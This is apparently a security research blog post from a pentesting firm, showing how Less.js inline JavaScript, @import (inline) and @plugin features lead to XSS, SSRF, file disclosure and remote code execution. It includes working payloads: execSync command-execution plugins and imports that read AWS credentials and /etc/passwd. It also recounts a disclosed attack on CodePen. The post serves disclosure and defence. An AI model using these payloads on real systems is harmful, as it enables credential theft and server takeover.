Software Secured Company Logo.
Services
Services
WEB, API & MOBILE SECURITY

Manual reviews expose logic flaws, chained exploits, and hidden vulnerabilities

Web Application Pentesting
Mobile Application Pentesting
Secure Code Review
Infrastructure & Cloud Security

Uncovers insecure networks, lateral movement, and segmentation gaps

External Network Pentesting
Internal Network Pentesting
Secure Cloud Review
AI, IoT & HARDWARE SECURITY

Specialized testing validates AI, IoT, and hardware security posture

AI Pentesting
IoT Pentesting
Hardware Pentesting
ADVANCED ADVERSARY SIMULATIONS

We simulate attackers, exposing systemic risks executives must address

Red Teaming
Social Engineering
Threat Modelling
PENETRATION TESTING AS A SERVICE

PTaaS provides continuous manual pentests, aligned with release cycles

Penetration Testing as a Service
OWASP TOP 10 TRAINING

Practical security training strengthens teams, shifting security left effectively

Secure Code Training
Ready to get started?
Identify real vulnerabilities confidently with zero-false-positive penetration testing
Learn More
Industries
Industries
INDUSTRIES
Data and AI

AI pentesting uncovers adversarial threats, ensuring compliance and investor trust

Healthcare

Penetration testing protects PHI, strengthens compliance, and prevents healthcare breaches

Finance

Manual pentests expose FinTech risks, securing APIs, cloud, and compliance

Security

Penetration testing validates SecurTech resilience, compliance, and customer trust

SaaS

Pentesting secures SaaS platforms, proving compliance and accelerating enterprise sales

CASE STUDY

“As custodians of digital assets, you should actually custodize assets, not outsource. Software Secured helped us prove that our custody technology truly delivers on that promise for our clients in both the cryptocurrency and traditional finance”

Nicolas Stalder,
CEO & Co-Founder, Cordial Systems
Ready to get started?
Our comprehensive penetration testing and actionable reports have 0 false positives so you can identify
Learn More
Compliance
Compliance
COMPLIANCE
SOC 2 Penetration Testing

Pentesting validates SOC 2 controls, proving real security to auditors and customers

HIPAA Penetration Testing

Manual pentesting proves HIPAA controls protect PHI beyond documentation

ISO 27001 Penetration Testing

Pentests uncover risks audits miss, securing certification and enterprise trust

PCI DSS Penetration Testing

Pentesting validates PCI DSS controls, protecting sensitive cardholder data

GDPR Penetration Testing

GDPR-focused pentests reduce breach risk, regulatory fines, and reputational loss

CASE STUDY

“Software Secured’s comprehensive approach to penetration testing and mobile expertise led to finding more vulnerabilities than our previous vendors.”

Kevin Scully,
VP of Engineering, CompanyCam
Ready to get started?
Our comprehensive penetration testing and actionable reports have 0 false positives so you can identify
Learn More
PricingPortal
Resources
Resources
COMPLIANCE
Blogs
Case Studies
Events & Webinars
Partners
Customer Testimonials
News & Press
Whitepapers
cybersecurity and secure authentication methods.
API & Web Application Security Testing

Attack Chains: The Hidden Weakness in Modern API & Web Application Security

Alexis Savard
November 21, 2025
Ready to get started?
Our comprehensive penetration testing and actionable reports have 0 false positives so you can identify
Learn More
Login
Book a Consultation
Contact
Blog
/
Security Research
/

Exploiting Less.js to Achieve Remote Code Execution (RCE)

Less.js is widely used as a CSS preprocessor, but under certain configurations it becomes far more than a styling tool. In this deep-dive, we demonstrate how legacy inline JavaScript execution, unrestricted @import behavior, and plugin support can be chained into XSS, SSRF, local file disclosure, and even full remote code execution (RCE).

By Sherif Koussa
・
7 min read
Table of contents
Text Link
Text Link

‍Less (less.js) is a preprocessor language that transpiles to valid CSS code. It offers functionality to help ease the writing of CSS for websites. 

According to StateofCss.org's 2020 survey, Less.js was the second-most-popular preprocessor. 

While performing a pentest for one of our Penetration Testing as a Service (PTaaS) clients, we found an application feature that enabled users to create visualizations with custom styling. One of the visualizations allowed users to enter valid Less code, which was transpiled to CSS on the client side. 

This looked like a place that needed a closer look. 

Less has some interesting features, especially from a security perspective. Less before version 3.0.0 allowed JavaScript to be included by default using the backtick operator. The following is considered valid: Less code.

@bodyColor: `red`;
body {
 
color: @bodyColor;
}

which will output

body {
 
color: red;
}

Inline JavaScript evaluation was documented back in 2014 and can be seen here near the header "JavaScript Evaluation".

‍

Standing on the shoulders of giants

RedTeam Pentesting documented the inline JavaScript backtick behaviour as a security risk in an advisory that was released in 2016.  They warned that it could lead to RCE in certain circumstances. The following is a working proof-of-concept from their excellent blog post:

$ cat cmd. less
@cmd: `global.process.mainModule.require("child_process").execSync("id")`;
.redteam { cmd: "@{cmd}" }

As a result, Less versions 3.0.0 and newer disallow inline JavaScript via backticks by default and can be reenabled via the {javascriptEnabled: true} option.

Next, we return to our PTaaS client test, where the Less version was pre-3.0.0 and transpiled on the client side, enabling inline JavaScript execution by default. This resulted in a nice DOM-based stored cross-site scripting vulnerability with a payload like the following:

body {
color: `alert('xss')`;
}

The above pops an alert that notifies that the XSS payload was successful once the Less code is transpiled. This was a great find for our client, but it wasn't enough to scratch our itch. We started probing the remaining available features to see if any other dangerous behaviour could be exploited.

The bugs

Import (inline) Syntax

The first bug is a result of the enhanced import features of Less.js, which contains an inline mode that doesn't interpret the requested content. This can be used to request local or remote text content and return it in the resulting CSS. 

In addition, the Less processor accepts URLs and local file references in its @import statements without restriction. This can be used for SSRF and local file disclosure when the Less code is processed on the server-side. The following steps first demonstrate a potential local file disclosure, followed by an SSRF vulnerability.

Local file disclosure PoC
  1. Create a Less file like the following:

// File: bad. less
@import (inline) "../../.aws/credentials";

  1. Launch the lessc command against your less file,

lessc bad. less

  1. Notice the output contains the referenced file 

Less $ .\node_modules\.bin\lessc .\bad.less
[default]
aws_access_key_id=[MASKED]
aws_secret_access_key=[MASKED
]

SSRF
  1. Start a web server on localhost serving a Hello World message
  2. Create a Less file like the following:
  • // File: bad .less
    1: @import (inline) "http://localhost/";
  1. Launch the lessc command against your less file
  • lessc bad.less
  1. Notice the output contains the referenced content
  • Less $ .\node_modules\.bin\lessc .\bad.less
    Hello World

Plugins

The Less.js library supports plugins that can be included directly in the Less code from a remote source using the @plugin syntax. Plugins are written in JavaScript, and when the Less code is interpreted, any included plugins will execute. This can lead to two outcomes depending on the context of the Less processor. If the Less code is processed on the client side, it leads to cross-site scripting. If the Less code is processed on the server side, it can lead to remote code execution. All versions of Less that support the @plugin syntax are vulnerable.

The following two snippets demonstrate a Less.js plugin vulnerable to XSS attacks.

Version 2:

// plugin-2.7.js
functions.add('cmd', function(val) {
  return val;
}); 

Version 3 and up

// plugin-3.11.js
module.exports = {
  install: function(less, pluginManager, functions) {
    functions.add('ident', function(val) {
      return val;
    });
  }
};

Both of these can be included in the Less code in the following way and can even be fetched from a remote host:

@plugin "plugin-2.7.js";

or

@plugin "http://example.com/plugin-2.7.js"

The following example snippet shows how an XSS attack could be carried out:

window.alert('xss')
functions.add('cmd', function(val) {
  return val;
}); 

Plugins become even more severe when transpiled on the server-side. The first two examples show version 2.7.3

The following plugin snippet (v2.7.3) shows how an attacker might achieve remote code execution (RCE):

functions.add('cmd', function(val) {
  return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});

And the malicious less that includes the plugin:

@plugin "plugin.js";

body {
color: cmd('whoami');
}

The following is the equivalent for version 3.13.1

Vulnerable plugin (3.13.1):

registerPlugin({
    install: function(less, pluginManager, functions) {
        functions.add('cmd', function(val) {
            return global.process.mainModule.require('child_process').execSync(val.value).toString();
        });
    }
})

The malicious Less code looks the same as above. Versions 4x, the malicious plugins above still work.

Real-world example: Codepen.io

CodePen.io is a popular website for creating web code snippets and supports standard languages, as well as others like Less.js. Since CodePen accepts security issues from the community, we tried our proofs of concept to verify the results of our research.

As a result, we found it possible to perform the above attack using plugins on their website. We were able to leak their AWS secret keys and run arbitrary commands inside their AWS Lambdas.

The following shows reading environment values using the local file inclusion bug.

@import (inline) "/etc/passwd";

<style type="text/css" class="INLINE_PEN_STYLESHEET_ID">root:x:0:0:root:/root:/bin/bash
bin
:x:1:1:bin:/bin:/sbin/nologin
...snip...
ec2-user
:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash
rngd
:x:996:994:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
slicer
:x:995:992::/tmp:/sbin/nologin
sb_logger
:x:994:991::/tmp:/sbin/nologin
sbx_user1051
:x:993:990::/home/sbx_user1051:/sbin/nologin
sbx_user1052
:x:992:989::/home/sbx_user1052:/sbin/nologin
...snip...
</style>

The next screenshot shows using the Less plugin feature to gain RCE.

‍

We responsibly disclosed the issue, and the issue is now fixed.

References

  1. http://web.archive.org/web/20140202171923/http://www.lesscss.org/
  2. Less.js: Compilation of Untrusted LESS Files May Lead to Code Execution through the JavaScript Less Compiler
  3. Executing JavaScript In The LESS CSS Precompiler
  4. Features In-Depth | Less.js

‍

About the author

Sherif Koussa

Sherif Koussa is a cybersecurity expert and entrepreneur with a rich software building and breaking background. In 2006, he founded the OWASP Ottawa Chapter, contributed to WebGoat and OWASP Cheat Sheets, and helped launch SANS/GIAC exams. Today, as CEO of Software Secured, he helps hundreds of SaaS companies continuously ship secure code.

Continue your reading with these value-packed posts

API & Web Application Security Testing

Assessing the Risk: Sub-Domain Takeover via EC2 IP Takeover

Julian B
Julian B
7 min read
March 25, 2025
API & Web Application Security Testing

Differentiating Federated Identities: OpenID Connect, SAML v2.0, and OAuth 2.0

Sherif Koussa
Sherif Koussa
5 min read
October 4, 2025
API & Web Application Security Testing

Beyond Clickjacking: How Multi-Step Clickjacking Turns a Minor Bug into a Critical Issue

Alexis Savard
Alexis Savard
10 min read
May 6, 2025

Get security insights straight to your inbox

Helping companies identify, understand, and solve their security gaps so their teams can sleep better at night

Book a Consultation
Centralize pentest progress in one place
Canadian based, trusted globally
Actionable remediation support, not just findings
Web, API, Mobile Security
Web App PentestingMobile App PentestingSecure Code Review
Infrastructure & Cloud Security
External Network PentestingInternal Network PentestingSecure Cloud Review
AI, IoT & Hardware Security
AI PentestingIoT PentestingHardware Pentesting
More
PricingPortalPartnersContact UsAbout UsOur TeamCareers
More Services
Pentesting as a ServiceSecure Code Training
Industries
Data and AIFinanceHealthcareSecuritySaaS
Compliance
GDPR PentestingHIPAA PentestingISO 27001 PentestingPCI DSS PentestingSOC 2 Pentesting
Resources
BlogsCase StudiesEvents & WebinarsCustomer TestimonialsNews & PressWhitepapers
More
PricingPortalPartnersContact UsAbout UsOur TeamCareers
Resources
BlogsCase StudiesEvents & WebinarsCustomer TestimonialsNews & PressWhitepapers
Security & CompliancePrivacy PolicyTerms & Conditions
2026 ©SoftwareSecured